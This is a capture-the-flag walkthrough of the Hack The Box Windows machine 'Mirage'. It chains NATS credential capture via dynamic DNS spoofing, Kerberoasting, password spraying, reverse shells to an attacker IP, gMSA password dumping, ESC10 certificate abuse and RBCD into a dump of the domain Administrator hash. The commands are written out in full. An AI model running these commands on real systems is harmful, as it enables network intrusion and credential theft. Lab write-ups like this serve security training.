> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-03-18

Hack The Box — Mirage (Windows)

NFS report leakage enables NATS credential theft via DNS spoofing, AD compromise chains through Kerberoasting and delegated rights abuse, ending in ESC10 + RBCD to dump Administrator hash and full domain takeover.

Target

  • IP: 10.129.114.234

Port scan

sudo nmap -sC -sV 10.129.114.234 -p- -T5 -v
PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-07-20 03:42:24Z)
111/tcp   open  rpcbind?
| rpcinfo:
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|_  100003  2,3,4       2049/tcp6  nfs
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  nfs             2-4 (RPC #100003)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
|_SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
|_ssl-date: TLS randomness does not represent time
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":100,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":101,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":102,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","server_name":"NCGW4KWSW6F3S2EW2GF3CTF3ADWQU4JACJVIACEKPPWR55PGWGSECHCG","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":99,"client_ip":"10.10.15.37","xkey":"XDTWK2BGYFKP7JNQT7X2OIKTJKBUILOH3WJVHGL6TEI3Q5E5NHQXSFBT"}
|_    -ERR 'Authentication Timeout'
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc           Microsoft Windows RPC
49665/tcp open  msrpc           Microsoft Windows RPC
49666/tcp open  msrpc           Microsoft Windows RPC
49667/tcp open  msrpc           Microsoft Windows RPC
49668/tcp open  msrpc           Microsoft Windows RPC
53499/tcp open  msrpc           Microsoft Windows RPC
53511/tcp open  msrpc           Microsoft Windows RPC
56996/tcp open  msrpc           Microsoft Windows RPC
57024/tcp open  msrpc           Microsoft Windows RPC
58356/tcp open  msrpc           Microsoft Windows RPC
58363/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
58364/tcp open  msrpc           Microsoft Windows RPC
58379/tcp open  msrpc           Microsoft Windows RPC

Add dc01.mirage.htb and mirage.htb to /etc/hosts.

smbclient -N -L '//dc01.mirage.htb/'
session setup failed: NT_STATUS_NOT_SUPPORTED

It seems NTLM authentication is disabled.

NFS share and leaked reports

showmount -e 10.129.114.234
Export list for 10.129.114.234:
/MirageReports (everyone)
mkdir mnt
sudo mount -t nfs 10.129.114.234:/MirageReports ./mnt -o nolock
cd mnt
ls -la
-rwx------+ 1 nobody nogroup 8530639 May 20 15:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 21:37 Mirage_Authentication_Hardening_Report.pdf

Open Incident_Report_Missing_DNS_Record_nats-svc.pdf.

We discover:

  • new subdomain: nats-svc.mirage.htb
  • NATS server running on 4222 (https://github.com/nats-io/nats-server)
  • They use command: ./nats -s nats://nats-svc:4222 rtt --user $user --password $password
  • Screenshot shows path: C:\Users\Dev_Account_A\Desktop\Nats-cli
  • Another screenshot shows insecure dynamic DNS updates are allowed.

Open Mirage_Authentication_Hardening_Report.pdf.

It says NTLM is being disabled and Kerberos must be used.

Email found: ad-security@mirage.htb.

User discovery and NATS credential interception

Download kerbrute:

  • https://github.com/ropnop/kerbrute

Put user Dev_Account_A in users.txt.

./kerbrute userenum -d mirage.htb --dc 10.129.114.234 ./users.txt -t 50
2025/07/18 01:56:20 >  [+] VALID USERNAME:       Dev_Account_A@mirage.htb

Also add Dev_Account_{x} in users.txt, where x goes from B to Z.

./kerbrute userenum -d mirage.htb --dc 10.129.114.234 ./users.txt -t 50
2025/07/18 02:06:26 >  [+] VALID USERNAME:       Dev_Account_B@mirage.htb
2025/07/18 02:06:26 >  [+] VALID USERNAME:       Dev_Account_A@mirage.htb

Remove invalid users from users.txt.

Since insecure DNS updates are allowed, we can point nats-svc.mirage.htb to our machine.

We listen while mimicking a NATS server.

When remote client connects, it will send credentials, which we can capture.

So we need to spoof NATS server.

nc 10.129.114.234 4222
INFO {"server_id":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK","server_name":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":170,"client_ip":"10.10.15.37","xkey":"XCSB3B75FBGSBWTGV2NJH5SCHHSHVA5R3LI5J5PGNUMVPOZRZSCSV6XR"}

Put it in test.txt.

Listen with netcat:

nc -vlnp 4222 < test.txt
msfconsole
use admin/dns/dyn_dns_update
set RHOST 10.129.114.234
set DOMAIN mirage.htb
set HOSTNAME nats-svc
set IP 10.10.15.37
exploit
[+] Did not find an existing A record for nats-svc.mirage.htb
[*] Sending dynamic DNS add message...
[+] The record 'nats-svc.mirage.htb => 10.10.15.37' has been added!
[*] Auxiliary module execution completed

Wait. Netcat terminal displays:

CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING

We have Dev_Account_A credentials:

  • Dev_Account_A : hx5h7F5554fP@1337!
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users.txt 'hx5h7F5554fP@1337!'
2025/07/20 11:46:11 >  [!] Dev_Account_A@mirage.htb:hx5h7F5554fP@1337! - Invalid password
2025/07/20 11:46:11 >  [!] Dev_Account_B@mirage.htb:hx5h7F5554fP@1337! - Invalid password

So these credentials are valid only for NATS.

nats -s nats://dc01.mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
nats://dc01.mirage.htb:4222:

nats://10.129.114.234:4222: 6.69455ms

Works.

nats -s nats://dc01.mirage.htb:4222 events -a --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Listening for Advisories on $JS.EVENT.ADVISORY.>
Listening for Metrics on $JS.EVENT.METRIC.>
Listening for Client Connection events on $SYS.ACCOUNT.*.CONNECT
Listening for Client Disconnection events on $SYS.ACCOUNT.*.DISCONNECT
Listening for Authentication Errors events on $SYS.SERVER.*.CLIENT.AUTH.ERR

[18:50:03] [Yc9aFmHKw07wnWvi7tFLrK] JetStream API Access

      Server: NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK
     Subject: $JS.API.STREAM.INFO.auth_logs
      Client:
                      User: Dev_Account_A Account: dev
                      Host: dead:beef::66
                        ID: 415
                      Name: NATS CLI Version 0.2.2
           Library Version: 1.41.1  Language: go

    Request:

          Empty Request

    Response:

          {"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NADOERGZDKC3Y72IOUU527ZV3DL5QF5CXPO5JNZ3YY7MGXJZJNH5SFBK"},"ts":"2025-07-20T18:50:03.3024333Z"}

Two ways to read credentials.

Method 1

nats -s nats://dc01.mirage.htb:4222 stream view --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

There is only auth_logs, press Enter.

We notice:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Method 2

nats -s nats://dc01.mirage.htb:4222 consumer ls --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
> auth_logs
nats -s nats://dc01.mirage.htb:4222 consumer add auth_logs test --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Configuration:

                    Name: test
               Pull Mode: true
          Deliver Policy: All
              Ack Policy: Explicit
                Ack Wait: 30.00s
           Replay Policy: Instant
         Max Ack Pending: 1,000
       Max Waiting Pulls: 512

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
  Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
    Acknowledgment Floor: Consumer sequence: 0 Stream sequence: 0
        Outstanding Acks: 0 out of maximum 1,000
    Redelivered Messages: 0
    Unprocessed Messages: 5
           Waiting Pulls: 0 of maximum 512
nats -s nats://dc01.mirage.htb:4222 consumer next auth_logs test --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
[12:08:28] subj: logs.auth / tries: 1 / cons seq: 1 / str seq: 1 / pending: 4

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Acknowledged message

We obtained credentials:

  • david.jjackson : pN8kQmn6b86!1234@

Add david.jjackson to users.txt.

sudo ntpdate dc01.mirage.htb
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users.txt 'pN8kQmn6b86!1234@'
2025/07/20 19:11:04 >  [!] Dev_Account_A@mirage.htb:pN8kQmn6b86!1234@ - Invalid password
2025/07/20 19:11:04 >  [!] Dev_Account_B@mirage.htb:pN8kQmn6b86!1234@ - Invalid password
2025/07/20 19:11:04 >  [+] VALID LOGIN:  david.jjackson@mirage.htb:pN8kQmn6b86!1234@
getTGT.py mirage.htb/'david.jjackson':'pN8kQmn6b86!1234@' -dc-ip 10.129.114.234
[*] Saving ticket in david.jjackson.ccache
export KRB5CCNAME='david.jjackson.ccache'
nxc smb dc01.mirage.htb -d mirage.htb -k --use-kcache --shares
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] mirage.htb\david.jjackson from ccache
SMB         dc01.mirage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.mirage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.mirage.htb 445    dc01             -----           -----------     ------
SMB         dc01.mirage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.mirage.htb 445    dc01             C$                              Default share
SMB         dc01.mirage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.mirage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.mirage.htb 445    dc01             SYSVOL          READ            Logon server share

It seems nothing useful in shares.

nxc smb dc01.mirage.htb -d mirage.htb -k --use-kcache --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt
nxc ldap dc01.mirage.htb -d mirage.htb -k --use-kcache
LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb)
LDAP        dc01.mirage.htb 389    DC01             [+] mirage.htb\david.jjackson from ccache
bloodhound-ce-python -u david.jjackson -k -no-pass -ns 10.129.114.234 -d 'mirage.htb' -dc dc01.mirage.htb -c All --zip

Load zip into BloodHound.

Cypher -> Active Directory -> all kerberoastable users.

There is nathan.aadam.

Download targetedKerberoast:

  • https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast/targetedKerberoast.py -v --dc-ip 10.129.114.234 --dc-host dc01.mirage.htb -d mirage.htb -u 'david.jjackson' -k --no-pass

It returns a long $krb5tgs$23$*nathan.aadam... hash.

Put it in file hash:

./hashcat-6.2.6/hashcat.bin -a 0 ./hash ./rockyou.txt

We get password:

3edc#EDC3

Credentials:

  • nathan.aadam : 3edc#EDC3
getTGT.py mirage.htb/'nathan.aadam':'3edc#EDC3' -dc-ip 10.129.114.234
[*] Saving ticket in nathan.aadam.ccache

From BloodHound, nathan.aadam is in Remote Management Users, so we can get a shell.

In /etc/krb5.conf set:

[realms]
        MIRAGE.HTB = {
                kdc = dc01.mirage.htb
                admin_server = dc01.mirage.htb
        }

[domain_realm]
        .mirage.htb = MIRAGE.HTB
        mirage.htb = MIRAGE.HTB

Run:

evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB

We obtain a PowerShell shell.

Since it is unstable, get a more stable shell with nc64.exe.

Upload nc64.exe to target (for example C:\tmp): - https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe

Listen:

rlwrap nc -vlnp 4444

On victim:

.\nc64.exe -e cmd.exe 10.10.15.37 4444
powershell

More credentials and AD abuse chain

cd C:\Program Files\Nats-Server
type nats-server.conf
listen: '0.0.0.0:4222'

jetstream: {
  store_dir: 'C:\Program Files\Nats-Server\tmp'
}

accounts: {
  '$SYS': {
    users: [
      { user: 'sysadmin', password: 'bb5M0k5XWIGD' }
    ]
  },

  'dev': {
    jetstream: true,
    users: [
      { user: 'Dev_Account_A', password: 'hx5h7F5554fP@1337!' },
      { user: 'Dev_Account_B', password: 'tvPFGAzdsJfHzbRJ' }
    ]
  }
}

Credentials found:

  • sysadmin : bb5M0k5XWIGD
  • Dev_Account_B : tvPFGAzdsJfHzbRJ
./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users_2.txt 'tvPFGAzdsJfHzbRJ'

Dev_Account_B NATS password is not reused by any AD user.

./kerbrute --dc dc01.mirage.htb -d mirage.htb -v passwordspray users_2.txt 'bb5M0k5XWIGD'

sysadmin NATS password is not reused by any AD user.

Download winPEAS:

  • https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
.\winpeas.exe

We notice:

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  MIRAGE
    DefaultUserName               :  mark.bbond
    DefaultPassword               :  1day@atime

Alternative:

reg query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
LastUsedUsername    REG_SZ    mark.bbond
DefaultPassword    REG_SZ    1day@atime
getTGT.py mirage.htb/'mark.bbond':'1day@atime' -dc-ip 10.129.114.234
[*] Saving ticket in mark.bbond.ccache
export KRB5CCNAME='mark.bbond.ccache'

mark.bbond is not in Remote Management Users, so we cannot use evil-winrm.

But we can get reverse shell using RunasCs.exe + nc64.exe.

Download RunasCs:

  • https://github.com/antonioCoco/RunasCs

Listen:

rlwrap nc -vlnp 4444

On victim:

.\RunasCs.exe 'mark.bbond' '1day@atime' "C:\tmp\nc64.exe -e cmd.exe 10.10.15.37 4444"

We obtain reverse shell as ee.reed.

Get PowerShell:

powershell

From BloodHound, mark.bbond is in IT_Support, which has ForceChangePassword over javier.mmarshall.

Download bloodyAD:

  • https://github.com/CravateRouge/bloodyAD
python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set password javier.mmarshall 'Winter2025!'
[+] Password changed successfully!
getTGT.py mirage.htb/'javier.mmarshall':'Winter2025!' -dc-ip 10.129.114.234

Error:

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

If we try RunasCs:

.\RunasCs.exe 'javier.mmarshall' 'Winter2025!' "C:\tmp\nc64.exe -e cmd.exe 10.10.15.37 4444"

Error:

[-] RunasCsException: LogonUser failed with error code: Your account has time restrictions that keep you from signing in right now

Set javier.mmarshall logon hours equal to mark.bbond.

Get-ADUser mark.bbond -property logonhours | select-object -expand logonhours

All bytes are 255.

[byte[]]$hours = @(255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255)
Set-ADUser -identity 'javier.mmarshall' -replace @{logonhours = $hours}

Also do:

python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k remove uac javier.mmarshall -f ACCOUNTDISABLE

Then again:

getTGT.py mirage.htb/'javier.mmarshall':'Winter2025!' -dc-ip 10.129.114.234
[*] Saving ticket in javier.mmarshall.ccache

Now it works.

export KRB5CCNAME='javier.mmarshall.ccache'

From BloodHound, javier.mmarshall has ReadGMSAPassword over machine account Mirage-Service$.

Download gMSADumper:

  • https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper/gMSADumper.py -k -d mirage.htb -l dc01.mirage.htb
Users or groups who can read password for Mirage-Service$:
 > javier.mmarshall
Mirage-Service$:::305806d84f7c1be93a07aaf40f0c7866
Mirage-Service$:aes256-cts-hmac-sha1-96:80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae
Mirage-Service$:aes128-cts-hmac-sha1-96:ff1d75e3a88082f3dffbb2b8e3ff17dd
getTGT.py mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.114.234
[*] Saving ticket in Mirage-Service$.ccache
export KRB5CCNAME='Mirage-Service$.ccache'

Upload PowerView to victim:

  • https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1

In mark.bbond shell:

. .\PowerView.ps1
Find-InterestingDomainAcl

We notice:

ObjectDN                : CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : WriteProperty
ObjectAceType           : e48d0154-bcf8-11d1-8702-00c04fb96050
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-2127163471-3824721834-2568365109-1112
IdentityReferenceName   : Mirage-Service$
IdentityReferenceDomain : mirage.htb
IdentityReferenceDN     : CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
IdentityReferenceClass  : computer

ACE e48d0154-bcf8-11d1-8702-00c04fb96050 corresponds to property set Public Information.

Reference:

  • https://learn.microsoft.com/en-us/windows/win32/adschema/r-public-information

For example, userPrincipalName and servicePrincipalName are in this property set, so we can modify them.

Potentially we can set mark.bbond UPN to Administrator and request a cert as Administrator.

That attack does not work here because of patch described at:

  • https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac

Check:

reg query HKLM\System\CurrentControlSet\Services\Kdc

We notice:

StrongCertificateBindingEnforcement    REG_DWORD    0x1

So the patch is active.

In practice, certificate includes requester SID. When authenticating, there is mismatch between UPN (administrator) and SID (from mark.bbond).

Check weak mapping for Schannel auth:

reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel

We notice:

CertificateMappingMethods    REG_DWORD    0x4

So there is weak UPN-based mapping. This mapping ignores SID extension.

Therefore ESC10 requirements are met.

Reference:

  • https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc10-weak-certificate-mapping

With Mirage-Service$ ticket:

python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond userprincipalname -v 'DC01$@mirage.htb'
[+] mark.bbond's userPrincipalName has been updated

With mark.bbond ticket:

certipy req -username mark.bbond@mirage.htb -k -no-pass -ca 'mirage-DC01-CA' -target dc01.mirage.htb -template User
[*] Wrote certificate and private key to 'dc01.pfx'

With Mirage-Service$ ticket:

python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond userprincipalname -v 'mark.bbond'
[+] mark.bbond's userPrincipalName has been updated

With mark.bbond ticket:

certipy auth -pfx dc01.pfx -dc-ip 10.129.114.234 -domain 'mirage.htb' -ldap-shell
[*] Certificate identities:
[*]     SAN UPN: 'DC01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.114.234:636'
[*] Authenticated to '10.129.114.234' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

#

We have an ldap-shell.

# set_rbcd DC01$ mark.bbond
Delegation rights modified successfully!
mark.bbond can now impersonate users on DC01$ via S4U2Proxy

With Mirage-Service$ ticket:

python3 bloodyAD/bloodyAD.py --host dc01.mirage.htb -d mirage.htb --dc-ip 10.129.114.234 -k set object mark.bbond serviceprincipalname -v 'cifs/x'
[+] mark.bbond's servicePrincipalName has been updated

With mark.bbond ticket:

getST.py -spn 'cifs/dc01.mirage.htb' -impersonate 'DC01$' -dc-ip 10.129.114.234 -k -no-pass mirage.htb/'mark.bbond'
[*] Saving ticket in DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache
export KRB5CCNAME='DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache'
secretsdump.py -k -no-pass 'mirage.htb'/'DC01$'@'dc01.mirage.htb'

Among printed hashes there is Administrator:

mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
getTGT.py mirage.htb/'Administrator' -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.114.234
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME='Administrator.ccache'
evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB

We obtain PowerShell shell as Administrator.